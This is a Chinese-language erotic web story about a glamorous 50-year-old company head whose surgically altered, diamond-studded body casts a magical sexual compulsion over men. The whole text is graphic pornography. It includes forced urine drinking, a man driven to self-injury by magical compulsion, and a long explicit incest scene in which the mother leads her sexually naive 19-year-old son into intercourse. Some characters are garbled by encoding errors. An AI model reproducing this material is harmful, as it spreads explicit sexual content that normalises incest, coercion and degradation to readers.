图片载入中

被驾驭的女王 作者:瑟索

特大字】 【大字】 【中字】 【小字

被驾驭的女王

作者:瑟索

奢华的办公室,不,应该说是华美的宫殿——距地面176米的夜火大厦顶层,红酒与极大的落地窗可以使它的主人骄傲地俯视整个城市。

精致的面容,完美的身材,与那些巨星超模不同,她的美,不是那种没有特点仅仅是没有瑕疵的美,她妖艳,性感,成熟。

每个男人都会被他的风采迷惑,只有完全了解她的根底的人才会知道,她的美,是只属于四十岁以后的成熟女人不着痕迹的风骚。

那种女王的气场,不是可以装出来的。

就像一个艳星,需要很多次才能在镜头前妩媚地展现自己的高潮。

她赤裸的站在窗前,没有丝毫的拘谨,这�是只属于她的皇宫。

一个男人西装革履的跪在她的身后,畏缩地将自己蜷起,时不时偷偷擡眼瞟一下女王的下体。

女王丝毫没有在意,她清楚的知道自己的下体对男人的吸引力。

那是世界上最昂贵的下体了。

手术磨去了她的大阴唇,也绽放了她的小阴唇。

她的阴唇上镶嵌着36刻华美的彩钻,其中的7颗是国际知名的名钻,它们在灯光下闪烁,比银河更炫目。

加上上面微微摇曳的她每天尽心护养的五色阴毛,从没有男人的目光可以逃脱她的诱惑。

她抱着硕胸,坐回她的沙发,沙发前的办公桌暂时的遮挡了男人的视线。 女王将一条美腿蜷在沙发上:“来舔我。”

男人诚惶诚恐地爬了过来,钻进桌子下面,猴急地伸出舌头。

“不许弄脏我的阴毛。”

女王随意的吩咐让男人顿时萎缩了半寸,却又不敢忤逆。

“哦∼”

女王优雅地呻吟,她根本不在意身下的男人,她只是欣赏窗户中自己的倒影,享受自己昂贵的下体和美妙的呻吟声。

男人的动作有些粗鲁,女王不悦地蹙眉,慢慢蠕动自己灵动的阴唇,控制男人的舌头向更深处滑动,就像一个耐心的大姐姐引导弟弟学习功课。

“阴蒂,慢慢地吮吸。”

女王闭着眼睛喃呢着,仿佛是在享受,又仿佛已经睡着了。

就这样,男人在女王胯下度过了整整半个小时,他自己已经要憋爆了。 但是女王除了阴蒂稍稍饱满,其他的一点反应也没有。

男人的舌头已经僵了,在外面他也是高高在上的公司高管,可是在女王面前,他只能像狗一样舔屄。

他开始怨恨面前的完美下体了,他想像真正的男人一一样站起来,将女王推到插入她的美屄射进她的身体将女王征服。

可是,他不敢。

他只能克制着自己,蠕动僵硬的舌头。

女王慵懒地伸了个懒腰,仿佛刚从睡梦中苏醒,招摇着胸前动人的曲线。 “哎呀!”

随着女王浅浅的惊唿,男人只觉得一股热流流入口中,男人报复地咽下口中的液体,他意淫般的以为自己吃掉了女王的孩子。

“快咽下去,不要滴在地毯上。”

女王说着,下体的水流竟不停止。

男人这才意识到,自己是喝了女王的尿液,可他仍旧不敢停止,只能将尿液与屈辱一同咽下。

“舔干净。”

男人马上把头凑了上去,又仔细舔了舔。

“滚,碰到我的阴毛了。”

女王的脚打在男人脸上,把他赶走。

“好喝吗?”

女王的眼神终于落到了男人身上。

“好喝,好喝。”

男人终于把舌头放进了嘴�。

“知道为什么让你喝吗?”

女王并拢了双腿。

“知道…不知道……”

男人期期艾艾的说不出话。

女王丢给他一个不耐烦的眼神,道:“因为你的嘴太骚了,要洗一洗。” “是,是。”

男人匍匐在女王脚下。

“竟然谈丢了两个亿的单子,滚吧。”

女王用手指梳理着自己的阴毛,头也不擡。

男人惊恐地滚走。

不经意间,一根紫色阴毛竟脱落在女王手中,女王顿时大惊失色。

她对自己的阴毛有着畸形的自恋,阴毛的脱落是她不能忍受的。

再也顾不上优雅与风情,她飞速的在手边的键盘上按下一连串数字,桌下的一个柜子自动打开。

那是一个冰柜,她迅速从中抄出一支注射器,熟稔地将针头刺入自己的阴蒂,缓缓地将药液注入自己的体内。

做完这一切,她就像一个刚享受了毒品的吸毒者,闭上眼睛长长出了一口气。

她徐徐走到窗前,望着玻璃中倒映着的完美身影出神。

颀长的脖颈,精致的锁骨,饱满的乳房,炫目的下体。

太美了,她忍不住要触摸那玻璃中的倩影。

那么青春,那么美。

怎么看,也不过是二十一二岁的女孩子,除了那过于妩媚的眼神和风骚的体态。

然而只有她自己知道,她已经很老了。

下个月,便是她五十岁的生日。

她轻笑着,拨掉仍缠绕在指尖的阴毛,放肆地轻语:“岁月啊,你不能在我身上留下一丁点痕迹。”

“海伦娜,你是不老的。”

说着,她的手指深深插入了自己的下阴,感受着�面跳动的大股的青春。 她拨弄自己的阴蒂,每一次触碰,她都会大声地尖叫,她是在向全世界宣布自己的敏感。

她要证明自己的年轻,衰老的女人是无法拥有如此敏感的阴蒂的。

“啊∼∼∼∼!她死死扣住自己的阴蒂,太敏感了。身体剧烈的颤抖着要摆脱这无法承受的快感,然而她的手指一丝也不肯放松,最后,她的腰肢扭动的就像一条蛇。双眼忽然失去焦距,她两腿一蹬,体液疯狂地倾泻出来,那是一次无与伦比的潮吹。70ml,即使是天生媚骨的初女也做不到,因为太稚嫩,即使是久经人事的熟女也做不到,因为不够敏感。只有她。她满意地看着自己的作品,轻柔地从下体揩了些残液吸入口中,快乐地笑着。自己果然比少女更青春,更有活力。慢慢地,药品开始发挥作用,她清楚地感受到,乳房有些胀,阴蒂开始充血压迫者其中的硬块,一股热流从小腹向上缓缓流动。刚刚潮吹的下体再一次湿润,心情也变得有些急躁。是思春了吗?仿佛回到十六岁的花季,女王巨硕的乳房竟然开始再次发育,那种微微的胀痛,仿佛是胸中的种子正在破土而出。那粒种子,是色欲还是野心呢?不知是因为药物还是寂寞,女王竟开始春心萌动。“好想谈个恋爱呢。”

厌倦了蹂躏男人的尊严,女王对着落地窗喃喃自语。

“可是你的身体,又有谁能驾驭呢?”

双手轻拢自己的丰胸,女王眺望着整个城市。

这座大厦就像是城市宏伟的阳峰,被她牢牢地踩在脚下。

“呃,呃……”

女王轻声地呻吟着,她没有乳晕,乳头是那种血肉的深红色。

因为手术,她用自己分化出的阴蒂植入胸中替代了乳头。

也就是说,她的身上有三个阴蒂。

并且,因为分化出的阴蒂没有层环小体的包裹所以会比一般阴蒂更加敏感。 一双手悄无声息地环在女王腰间,那是一双男人的手,却比女人更精致。 女王迷离的眼睛从玻璃中看到了这个男人。

她丝毫不惊讶,因为只有他才能被允许悄无声息地进入她的领地。

——她十九岁的儿子,洛基。

她反身抱住自己的儿子,那是她在这个世界上唯一在意的男人。

洛基熟稔的握住女王的硕乳牙齿已经咬住了她的乳头。

他要吃奶。

一个十九岁的男人竟然要吃奶?若是换做别的母亲,早已大发雷霆。

可是她没有,她爱怜地看着自己的孩子,手指轻抚他的发丝。

又有哪个女人能持续泌乳十九年呢?温热的乳汁从乳蒂中汩汩流出,乳蒂外是亲生儿子轻柔地吸吮。

那是怎样的快感呢?阴道已经开始自动蜷蠕,乳头和阴蒂暴胀,僵硬成块,小腿也不自觉地颤动。

她努力锁紧阴唇,保持者微笑的面容。

她在孩子面前是庄严的。

“吃饱了吗?”

女王感受到胸前的吸吮渐渐减缓,问道。

洛基从女王胸中擡起深深的黑瞳,满足的点了点头。

一滴甘乳还挂在女王乳头,洛基调皮地凑过去舔了舔。

“啊!”

女王瞬间被他推向快感的高峰,不禁叫了。

又一次,女王无可阻止地泄身了。

女王迅速用手指止住尿道,可爱液到来时那种势不可挡的冲击还是让女王痛苦地叫出了声。

洛基疑惑地看着女王。

“姐姐,你怎么了?”

没错,为了向外界保密自己的年龄,海伦娜让洛基称唿自己姐姐。

而实际上,如果只看外表的话,人们甚至会认为一米八的洛基是娇美青春的海伦娜的哥哥。

女王不着声色地拢了拢头发,微笑着回答洛基:“姐姐要去洗手间,小洛基不许跟着啊。”

洛基看着海伦娜故作自然的背影,心中有些不自然。

狠狠地,洛基将挂在嘴角的奶水吸掉。

“赫尔曼先生这边请。”

女王穿着极其暴露的装束为来者引行。

赫尔曼顺着女王的乳峰看过去,只见一个檀木匣子�放着一棵类似于灵芝的东西。

“您知道这是什么吗?”

女王问道。

“灵芝?人参?”

赫尔曼推着眼睛一头雾水。

“您真逗,”

女王暧昧的笑着走近赫尔曼,冷不丁地抓住了赫尔曼的鸡巴:“这是拿破仑的这�。”

赫尔曼一下子惊呆了,他凝视着这个如此奔放又带着几分古典美的女人。 灵蛇髻,那是贵妇人的发髻,招摇的粉色水晶海葵发夹连着两串玛瑙垂至脖颈,与另一侧风情的一缕垂发对应的恰到好处,狭长的美目画着勾人的眼线,诱人的红唇上涂着寂寞的色彩。

连衣裙,是连衣裙吗?上身没有任何遮掩,只有领口高高的镶着一颗不知名的玛瑙,胸前两片只是简单地盖住了乳晕的星芒与领口和小腹之间连着窄窄的丝带,背部是全裸的,露出完美的腰身与性感的蝶骨,下身的长裙是从脐处前开的,裙带与星芒的丝带会在脐处,便露出了腿间细长的内衣,那种封屄内衣赫尔曼是在夜火的展销会上见过的,在他的理解中,那种内衣只能定制,因为每个女人的屄开的高度都不同,设计师只能根据每个女人屄的最低高度设计最低窄的内衣,只是简单的封住女人的屄,在不露点的前提下做到最大的暴露。

但这种内衣对女性自身的要求也很高,用极薄的料子来凸显女性下体的平坦,但也同时剥夺了女人的安全感,因为要突出女人的高贵气质,所以如果在窄窄的内衣中露出了几根没有梳理整齐的阴毛或是因为动作太大而露点便会因为太过淫靡而失去端庄的女神形象,并且如果女人本身因为阴唇过大或是下身不紧而在内衣上突出一块是极其失礼的。

可海伦娜不然,她的内裤上沿上,彩色的阴毛被梳理得软软的,齐齐的侧向一边和内衣一起看便如同一朵盛放的鲜花,细长的内裤是花梗与花托,阴毛便是花丝与花瓣,两者相映成趣,让赫尔曼不得不讶异身前的这个年轻女孩竟如此会修饰自己。

腿,腿,赫尔曼急切地向海伦娜的腿望去,只见整条腿都是裸露的,那是极有自信的女人才会敢露出的极品美腿,因为它的完美可以征服任何男人。 他不知道为什么这样一个女人会如此长久的抓住自己的鸡巴,他已经很硬了,被狠狠地抓住甚至有些痛,但他竟然不敢反抗。

“为什么,拿破仑的生殖器会出现在这�呢?”

赫尔曼咬着牙问道。

“因为,”

女王忽然放开手,像雌豹玩弄猎物一样盯着赫尔曼的眼睛,“这是我的收藏。”

“我们还是看些别的吧。”

赫尔曼躲避着她的眼睛,仿佛那是一个陷阱,不小心就会被她勾走灵魂。 “赫尔曼先生是想见一见我最得意的收藏吧。”

女王的眼睛中忽然闪过一缕娇羞,蓦地转过身子,道:“真叫人难为情,不过请随我来吧。”

女王端庄的在前面走着,赫尔曼只能别扭的挪着步子,本宽松的西裤被顶出高高一截,默默地听着高跟鞋叩击着红地毯。

在两旁的玻璃中,他不得不面对女王的高贵和自己的鄙陋。

也许他不该来,他原以为自己可以凭借优异的业绩吞并夜火,逼迫他们那艳名在外的女王匍匐在自己身下呻吟。

可现在他觉得他错了,并且错的离谱。

“光明之山,英国女王王冠上镶嵌的钻石。”

不知什么时候,自己已经站在了一个黑暗的小屋�,只有面前的橱窗中,一颗璀璨的钻石在背光灯下灼灼生辉,映出女王窈窕的体态。

“光明之山?世界上最大的钻石!”

赫尔曼一下子怔住了。

“真瞒不过赫尔曼先生,”

海伦娜用自己妖冶的身体遮蔽赫尔曼的视线,撩人地扭动着,细长的丝带无法束缚她硕艳的丰乳,只是紧紧地绷住,让她的美乳随着身体摇曳,她的声音也变得饥渴撩人,“原来赫尔曼先生要看人家最大的钻石啊!”

赫尔曼的唿吸一下子急促起来,瞪圆的眼睛一眨不眨,像移开自己的目光却怎么也做不到。

海伦娜缓缓扭动着腰肢,双手变换手势着从双乳随身子一直向下抚摸,终于到了自己热火的三角地带。

她拉着封屄内裤的两条系带左右滑动,赫尔曼的脑袋便也跟着一起左摇右摆,仿佛她抚拉的不是内裤的系带而是赫尔曼的心弦。

女王妖娆一笑,会不知道怎么会不知道赫尔曼已经被自己迷住了。

随着她刻意的撕扯,封屄内裤蓦然滑落。

五色缤纷的阴毛下36颗华丽的彩钻炫然登场,在背景灯的照射下宛如一条唯美的银河散落在女王身下,钻石在不同角度发射出不同色彩的光泽,那种凌厉的美令赫尔曼几乎无法直视。

可他又无法让自己的眼睛移开这一如世界奇观的绮景,于是只能痴痴地瞪着。

女王的手抵在了他的头上,似乎有一种不可抗拒的力量推着他的脑袋靠近这完美的奇观。

女王笑了,笑的放肆而又得意。

可是,他已经听不见了。

随着女王阴唇缓缓张开,赫尔曼眼中的银河也在斗转星移,它不断变化着,那么美。

女王用自己尖尖的手指戳动自己胸前的星芒,那是一种贴式文胸,轻薄的如同纸巾。

于是那剧烈的刺激便直接透过文胸直接刺激到了她的乳蒂。

感觉来了。

文胸中细小的乳蒂开始长大,腿也自然的绷直,本来饱满的胸部更是要裂衣而出。

自然的,她的真正阴蒂也开始充血,饱满,长大,慢慢地从两边阴唇的夹挤中露出来。

同时露出的,还有一颗镶嵌在阴蒂深处流动着无比璀璨七彩光晕的钻石——魅惑。

一束光,就这样射入了赫尔曼的眼睛,促不及防地。

赫尔曼的眼前霎时被女王那诱人的身姿充斥着,仿佛有无数个海伦娜在苍茫而又黑暗的宇宙中起舞,只有她们的腿间有一串璀璨的星光在他的眼前晃荡,忽然所有的光都消失了,只有一个海伦娜,她用手羞涩的遮蔽自己的私处,微弱的光芒从她手指缝间漏了出来,他轻柔地吻她,温柔的将她遮在私处的手抓住然后挪开,然后从她的脚趾吻起到脚踝到小腿,他一直深入,直到最后,她的腿颤抖着打开了,被幽禁的星光终于明亮。

他看着那光芒,爱抚着女王的美腿,渐渐地,耳边回荡起了女王萌动的呻吟,他越抚摸,那群星便越炽烈,他越抚摸,她叫的就越诱人。

他忽然想走进这星群,他想和着星群融为一体。

这个想法一出现便无法控制,它像干草堆上的一星火,马上无可阻止的燃烧起来,他已经不知道自己在干什么,他只感觉到自己的身体在被火炙烤,只觉得前所未有的兴奋前所未有的疯狂与强壮,他像烈焰上的火药一样需要一次爆炸!女王的手一离开赫尔曼的脑袋他就直直的倒了下去,她背靠在光明之山的橱窗上狭长的眸子玩味地盯着赫尔曼呆滞的脸瞧他会为自己多疯狂。

不一会赫尔曼果然蹦了起来,像一头愤怒的野兽一般嘶吼着冲向海伦娜。 嘭!随着闷闷的碰撞声,血从赫尔曼的额头蜿蜒而下,在他与女王之间的玻璃墙上留下淡淡的血痕。

吼!赫尔曼死心不改,仍然不停地撞击着身前的钢化玻璃,疯疯癫癫如同疯狗一般。

女王依然慵懒地盯着他,就像观看斗兽场�的搏斗。

此刻人性的欲望在她面前暴露无遗,她就是色欲的化身,看厌了男人的鄙陋,她无聊地等待,直到她顽皮的阴蒂缩小到被阴唇重新包被,她才轻巧地用创可贴贴上了自己的私处,然后按下身后的一个按钮。

玻璃墙瞬间被抽入墙壁。

赫尔曼更是向女王疯跑而来,却被女王身后适时而出的四个彪形大汉按倒在地。

女王的背影消失在赫尔曼的眼际,留下他在地板上拼命挣扎。

女王不喜欢他的尺寸。

滴滴滴滴的忙音回荡在夜火大厦的顶层。

女王羞恼地挂掉电话,划掉了清单上的最后一个名字,把电话摔在地上。 她有无数的情人,可偏偏此刻连一个能马上和她交合的都没有。

她的助理不在,偏偏在这个时候……“都是你害的啦!”

海伦娜一只手伸了下去,抚摸自己身下的钻石——魅惑。

魅惑世界上最大的钻石,但被赫尔曼看到的只是它的一小部分,为了装备它,海伦娜几乎改造了自己的整个性器。

而她之所以愿意这么做,是因为一个不为人知的秘密——魅惑的神奇魔力。 女人渴望魅力,而魅惑可以给任何一个女人无与伦比的魅力,只要把它嵌入自己的性器,就会拥有所有的男人都无法抗拒的魅力。

然而这种魅力并不是不劳而获的,一旦使用它就必须不断用男人的精血来给养,如果给养不及时,它就会变成最烈性的媚药,使嵌入她的女人疯狂的找男人交欢,直到吸取了足够的精血为止。

此刻的女王心�乱极了,自己早已经过了补给精血的时间了,她的阴蒂已经因为兴奋胀起很大,可居然找不到男人为她灭火。

她的手不由自主的向自己的私处摸去。

当手指接触阴蒂的一瞬间,那种麻肤酥骨的快感使她忽然一惊。

她连忙抽回自己的手指,“不可以,自慰不能给养魅惑的。”

她长长的喘气,她已经意识到这颗钻石已经开始控制她的身体。

她集中最后的意志撕开自己轻薄的内裤,让自己的下体暴露在空气中。 空调的冷风轻抚她下体的五色阴毛,那沁心的凉意使她拾回一些理智。 “男人,我要男人。”

女王惊慌的四下张望,偌大的办公室此时一个人也没有。

她抓狂似的撕开自己昂贵的绸丝胸衣,让整个身体都被冷气包围以维持对身体的控制。

古朴的大钟不紧不慢的敲响九下,已经过了下班时间四个小时,公司下班后是要肃场的。

此刻的夜火大厦也许只有她一人。

女王抱住自己的头绝望的跪下来,“谁都可以,求求你操我吧!”

女王凄哀的声音在空荡荡的办公室回荡不绝。

往往,一个可以倾倒天下男人的女人,她在最需要的时候却得不到满足。 “呃∼呃呃呃∼”

女王叫着,身体在自慰器上疯狂地扭摆。

而她的双手不停地揉捏着自己硕美的双乳。

“啊!”

女王身体猛地一挺,精美的五官似是痛苦的扭曲在一起,给人一种凌虐的美感,端庄的女王此时放浪地叫喊着:“给我一个高潮,我要高潮!”

凌乱的发丝打在脸上,被咬在嘴�。

女王的脸上因快感而泛起红晕。

乳色的激流自女王涨大的胸器中喷射而出。

女王因激情不住叫喊,她的小腹以肉眼可见的幅度抽动着,就连阴唇上镶嵌的彩钻也随着下阴的缩合快速颤动。

“呃…”

女王在高潮下几乎在哭喊。

在高潮来临的那一瞬,她用自己的G点狠狠地蹭在了凶猛的自慰棒上,猛烈地冲击所产生的快感使她几欲昏厥。

她条件反射般地收缩阴道并绷紧双腿。

本来固定着的坐式自慰器竟随着女王的站立被带起,片刻后,又在重力的作用下下滑。

就在女王的阴户中,人工的大鸡巴被内阴镶嵌的钻石刻下深深的划痕,并且发出令人揪心的声响。

相信即使再健壮的男人在女王内阴的这一夹下也会血肉模煳完全废掉。 啪!自慰器摔回地上,女王也随之跪坐在地上,“不行,还是不行!” 用自慰器欺骗自己的身体是行不通的,魅惑需要男人的精血来润养。

她喘息着捏挤自己鲜红的阴蒂,凌乱的头发随着风抚动有些下垂的乳房。 就像一个被轮奸而依然没有得到满足的饥渴欲女。

今晚需要一个男人。

一个足以满足她的男人。

“洛基,快来救救妈妈。”

女王委顿在地,费力的望着儿子。

“妈妈,我来了!”

洛基慌忙跑过去搂起母亲。

“不用扶我,快干我。”

女王张开大腿,做了个准备被插入的动作。

“怎么干啊,妈妈?”

洛基看也不看女王的迷人下体,他每天晚上都要给女王做阴部按摩,加上他从不知晓爱欲之事,别人眼中的性感尤物在他眼�反而很常见。

他只是抱住女王,看着她绯红的面颊一脸急切。

“就是用你的鸡巴插妈妈的逼啊!”

女王已经顾不得作为母亲的端庄,她的阴道�仿佛又无数只蚂蚁在爬,她的下体热的要烧起来,只有男人的鸡巴能使她解脱。

“什么是鸡巴,什么是逼?”

洛基被女王一手养大从来没听过这些东西。

女王简直要急疯了,“就是用你小便的地方插进妈妈的这�。”

说着,女王用手指插了插自己的阴道。

“还有,先把裤子脱了。”

不一会,女王就感受到一个软软的东西进入了自己的身体。

“小洛基不用怕把整个鸡巴都放进来。”

女王焦急地一步步引导儿子与自己做爱。

“嗯。”

洛基一点一点把自己长长的鸡巴插入妈妈的身体。

“好了,动起来。”

在女王的指引下,洛基已经渐渐掌握了一些做爱的基本技巧。

果然还是自己的骨肉最有感觉。

在魅惑魔石的催动下,女王青春的阴蒂变得千百倍的敏感,她粉嫩的阴户其实已经被千百个鸡巴插入过了。

但此刻的那种激烈的感觉,让即使是海伦娜这样久经风月的女人也无所逃避。

女王情不自禁的小声呻吟着,母子二人仿佛在生理上建立了某种联系,两颗心脏跳动着,慢慢跳在了同一个频率。

健壮的鸡巴的每一次插入,阴道肌群的每一次收缩跳动,青春的母亲与被她哺育长大的健硕儿子,亲情的眷恋和男女的爱欲交织在一起,每一个动作都是大自然中最和谐的律动。

“姐姐,你痛吗?”

洛基顺从的抽插着母亲的阴道。

母亲痛苦的表情和若有若无的呻吟让他心中惴惴不安。

女王抚摸着洛基俊美的面庞,眼神�爱意流动:“姐姐不痛,姐姐现在是世界上最幸福的女人。”

洛基第一次看到妈妈美艳的神情,他恍惚着母亲痛苦的脸色和快意的呻吟,也是第一次如此深入地靠近自己的妈妈,不是拥抱,是更深入到身体�的接触,他第一次感受母亲身体�面,也是第一次感受做爱。

他不知道应该怎么做,甚至有点恐惧不知道接下来会发生什么,但是他不愿意停下,因为害怕这份美妙的感觉会消失。

女王的手顺着脖颈摸到了洛基结实的胸膛,健美的肌肉让女王第一次从儿子身上嗅到了男人的味道。

女王意识到,此刻自己身体�的男人,已经不是自己一直呵护的孩子了,他是一个男人,一个可以给自己无穷快乐和幸福的男人。

洛基插着母亲的小穴也感到无比的畅快,似乎有什么一直沈睡在自己身体�的东西醒了过来,他夜夜给母亲按摩乳房和阴部却从来不知道母亲的身体是这样的神奇。

莫名的欲望渐渐战胜理智,他的动作不再是驯服和顺从而变成带着侵占的征服。

就是这样的一对母子,一对最熟悉的人却在相互的身体上挖掘出从未体验过的东西。

十九岁的儿子已经成熟,他忘情的亲吻着自己身下娇小的母亲,然后吮吸她的乳房,那种哺育了他十九年的熟悉甘甜又一次萦绕在他的齿间。

女王意乱情迷,不知怎么的,她在儿子的胯下,忘了勾引,忘了魅惑,忘了所有的性技巧和母子相合的伦理纲常。

她仿佛一下子回到了十六岁的处女时代,什么也不会,依偎在爱侣的臂穹,只是本能的呻吟,只是,会在高潮时用腿环住他的腰。

直到浓稠的爱液唐突的射进她的身体,那炙热的爱意让所有的女孩缩紧阴道。

最深处最私密最狭小最紧致的地方忽然被填满,那种充实与幸福瞬间征服了女王的整个身心。

可是,它那么多,那么烫,多到整个身体都要爆掉,烫到整个人都要蒸发。 身体不堪重负的不自觉抽动,它想摆脱这沦肌浃髓的快感,它想把身体�的异物排出去。

巨大的肉棒强势的堵住了唯一的排泄处。

于是,它越来越急越来越急。

女王不舒服的扭动身体,她还不知道自己的身体早已承受不住这份浓重的感情,洛基也并不知道射过之后要把鸡巴从女人身体�抽走,他闭眼享受着高潮的余韵。

在所有的刺激都达到顶点的瞬间,女王成熟丰腴的美体失去了所有的禁制,一阵尿意袭来,女王正准备夹腿忍住,胸部的涨感随之而来,不等女王反应,两条白色的液柱喷上天空,马上,一朵溅开的水花也在女王下体绽放。

女王索性射个痛快,她也想知道自己五十岁的身体可以射出多少。

只是洛基不知所以,看着母亲乳汁四溅,他本能的张嘴吮吸,他知母亲乳汁宝贵,为了保护奶水,他竟用手捏住女王的另一个乳头。

这可害惨了身下的女王,她的乳头比阴蒂更为敏感,此时高潮之中,三个排欲之处被全数堵住,这样的刺激谁受得了?一波高潮不平一波高潮又起,女王的身体快乐而又痛苦的痉挛着。

可她娇小的身体被洛基有力的压在身下,一点也反抗不了,她甚至说不出一句话,尖叫一声便陷入了昏厥。

深夜。

月光静谧,洒在女王姣好的身体上。

女王从昏厥中醒来。

偌大的办公室冷冷的,只有她和她的孩子。

洛基还没有睡,他痴迷似的盯着她的母亲,不时地抚摸她的身体。

对他而言,母亲就是他世界�的一切,他没有父亲,只有妈妈。

他的妈妈也是他的姐姐,她陪他玩,和他一起洗澡睡觉,给他挑衣服,听他说所有的心事。

她是他的朋友,母亲,姐姐,甚至有时候是他的妹妹,乃至哺育他,做他的食物。

他们那么熟悉,每天都在一起,他知道她的一切,他熟悉她的身体,容颜,甚至是月事或者身体的每一根毛发,他以为已经熟悉了她的一切,但他今天又更深入的了解了她。

知道原来她可以让自己这么舒服。

一种从来没有过的情欲在他的心�潜滋暗长,他知道母亲很美,在他的心�母亲是世界上最美的人,但今天他才真正领悟了母亲的美,才知道母亲是世界上最美的女人。

他知道母亲下体的彩色体毛和彩钻很美,他不理解母亲为什么那么在意自己的阴毛,直到今天,他才知道这是一种诱惑。

他忽然对母亲有了一种强大的占有欲,他想和母亲再做一次。

“off”

女王慵懒地命令,温控系统应声关闭。

“干嘛不关掉空调呢,不怕冻坏吗?”

女王把儿子拥进怀�,爱怜地抚摸他的头发。

对她而言,洛基在她生命�实在是太重要了。

别的男人都可以被她用色欲的长鞭奴役,唯独自己的孩子,她可以为之付出自己。

魅惑给了她让人神魂颠倒的魅力,也夺走了她生殖的能力,她已经不能生育了,洛基是她唯一用生命孕育的作品,如果她是一朵妖花,那洛基就是她所结出的唯一的果实。

她爱他,是习惯,甚至超过怜惜自己。

洛基的头被女王埋在她肥硕的乳房下,“对不起,妈妈今天失态了。” 洛基享受着妈妈乳房的温暖,只是这次他感受到的不仅仅是母子之间的爱。 他调皮的捏了母亲的乳蒂。

女王敏感的神经忽然一紧。

她是个熟的不能再熟的女人,她敏感的意识到洛基的捏乳与平时不同,这次分明是男人挑逗女人的手法。

她不着痕迹地推开洛基,瞟一眼他的下体,分明还在亢奋的勃起着。

以前洛基见到她的裸体从来不会勃起。

长大了吗?果然男人都是一样。

她下意识的将身上搭盖的衣服拉上去却露出了下体,她这才意识到自己搭盖的是洛基的衣服,自己的薄绸内衣已经被自己撕碎,不能穿了。

“姐姐你醒了,你刚才吓死我了。”

洛基爱昵地在她脸上亲了一口。

自己的孩子,自己怎么能怀疑呢?女王自嘲似的掀开搭在自己身上的衣服,露出自己诱人的下体,道:“洛基给姐姐打一针。”

洛基熟练地从办公桌下找出药品,温柔地把她们注入女王的阴蒂。

乳房重新被填满,青春再一次回到了女王的身体。

她闭上眼睛享受着这个过程。

有些凌乱的阴毛被洛基温柔地一根根整理好,热情的红色阴唇被洛基轻轻地按摩着。

血液快速循环,在洛基耐心的按摩下,她的下体灵活的收紧,又变回了处女般的紧致。

女王似乎享受似的悄声呻吟着,眯着的狭长美目却已经将洛基硕大的下体尽收眼底。

他勃起了,她的儿子对她勃起了。

一丝复杂的感情涌上女王的心头,为孩子成长高兴,也为孩子失去单纯世界有些怅惘,为他欣慕自己开心,也为自己引导孩子与自己淫靡自责。

“妈妈,这是什么?”

洛基的手指上蘸了些女王私处粘粘的液体好奇地问。

女王的脸红了,她一时不知道怎么回答洛基,她撩起过无数男人的欲火,甚至是自己的儿子,但她无法接受自己完美的身体诚实地暴露出了自己内心最深层地渴望——她对自己的儿子有欲望。

“好吃吗?”

洛基想起了女王高潮时似乎下体也有什么东西和乳汁一起喷射出来,对他而言,妈妈就是自己的食物,她的爱液应该和乳汁一样是可以吃的,所以他想也不想就把蘸取了女王爱液的手指放进嘴�。

女王刚想阻止也已经来不及了。

“呸!”

洛基刚尝到女王爱液的滋味便慌张地吐了出来,边吐口水还边问:“怎么是咸的?”

女王在沙发上被儿子逗笑了,她用手抚摸着洛基的脑袋,“那是妈妈的爱液,不能吃的。”

“爱液,爱液是什么?”

洛基抿抿嘴,用手指剥开了女王的阴唇,好奇地打量其间的液体。

“女人被自己心爱的人抚摸胸部或者私处就会在阴部分泌爱液。”

经过和洛基的交欢,女王已经从心�承认洛基已经是个成人了,她开始向洛基讲述性事,并且用拉住洛基的手,引导他用手指触摸自己的阴道。

“我是姐姐心爱的人。”

洛基高兴地大喊大叫。

“洛基当然是姐姐心爱的人,是在这个世界上姐姐最心爱的人。”

女王温柔地看着自己长大的孩子出神。

她的手指不自觉地搅弄着自己下体的液体,那是自己对自己孩子有了肉欲的铁证,以前洛基为她做阴部按摩她是不会湿的。

一个温凉的吻落在她的阴蒂,这是洛基每次为女王按摩后都要做的。

洛基的嘴唇沾上了女王的爱液,只是他这次用舌头把女王的爱液都舔进嘴�。

“怎么吃掉了?快吐出来!”

女王吃惊地直起身子。

洛基皱着眉头似乎是在品尝女王的爱液,过了一会,他才说:“这是姐姐对我的爱液,我要把它们都吃掉才不辜负姐姐对我的爱。不过现在也不是那么难吃了。”

“以后不可以了。”

女王用纸巾擦干洛基的嘴角。

她承认自己是个风骚的女人并且享受它带给自己的快乐,但她并不是个变态的痴女,至少她不会淫荡到勾引自己的儿子做自己的情夫。

她在孩子面前是个端庄的母亲,保护洛基成长在一个健康的世界。

就像在屏幕上被猥琐男千插万捅的女优也会告诉自己的孩子强奸女孩是不对的要学会正确处理自己的欲望一样,女王并没有想过有一天会和自己的孩子交欢,之前所做的错事,她思忖着找一个时机告诉洛基,告诉他乱伦是不对的。 “洛基做错了吗?”

敏感的小洛基觉察了姐姐语气的变化,不安地看着女王。

“是姐姐错了。”

女王赤身走到窗前,月光下,她第一次觉得自己美丽的裸体有着些许罪恶。 已近中午,女王才被胸部饱胀的乳汁憋醒。

昨夜的乳射和潮吹几乎耗光她的体力,不过她的身体还很年青,一个好觉就能恢复活力。

她照常换了纱衣,对着镜子欣赏自己的曲线,青春是个好东西,她要仔细享受自己长久的青春。

“叫洛基来吃早餐。”

声音落下,帘外传来高跟鞋叩击地面的一串轻响。

她的家�只有一个女仆,美丽而又能持续泌乳的女人并不好找。

很快,女仆便跟着洛基走进了女王的卧室。

女王正对着镜子挑选合适的胸衣,裸露的下体在阳光下格外刺眼。

“罩杯又长大了,过了F罩就没有气质了。”

女王微蹙眉头,正在为乳房的发育烦躁。

看到洛基她丢下胸衣坐回自己豪奢的吊床,乳房烦闷地跳动。

“洛基多吃点,把它吃回去。”

洛基爬上了女王的吊床,认真地吸吮他的早餐。

“娑娜,过来坐下。”

女王唤来女仆。

娑娜安静地坐在女王床边。

女王的家十分简洁,只有卧室格外华美。

她的大吊床是整块白玉砌成的,白玉是只有女人才能享用的东西,不经人事的女孩不能承受它的寒气,可它却能调补女人的身体除祛爱事后女人身体的腥骚。

她的床单是最好的狐皮缝制的,柔绒的毛在胸部与下体划过时舒服得骨头都会酥了。

薄纱从床顶垂下来只在进口处张开一角,在午间花圃中抚来的蜜一般甜蜜的熏风中和床一起摇曳。

那是女王的御座。

女王一边喂奶一边抚摸着娑娜的胸部,她随意地揉捏着,她在检验儿子食物的成色。

娑娜安静地任由女王检验。

她对自己的胸部有着绝对的信心,她有着不输女王的肥硕的胸部,辅助女王哺育洛基她已经做过很多次了。

“洛基长大了,要有自己的女人。”

女王看着娑娜的硕乳发呆。

“知道。”

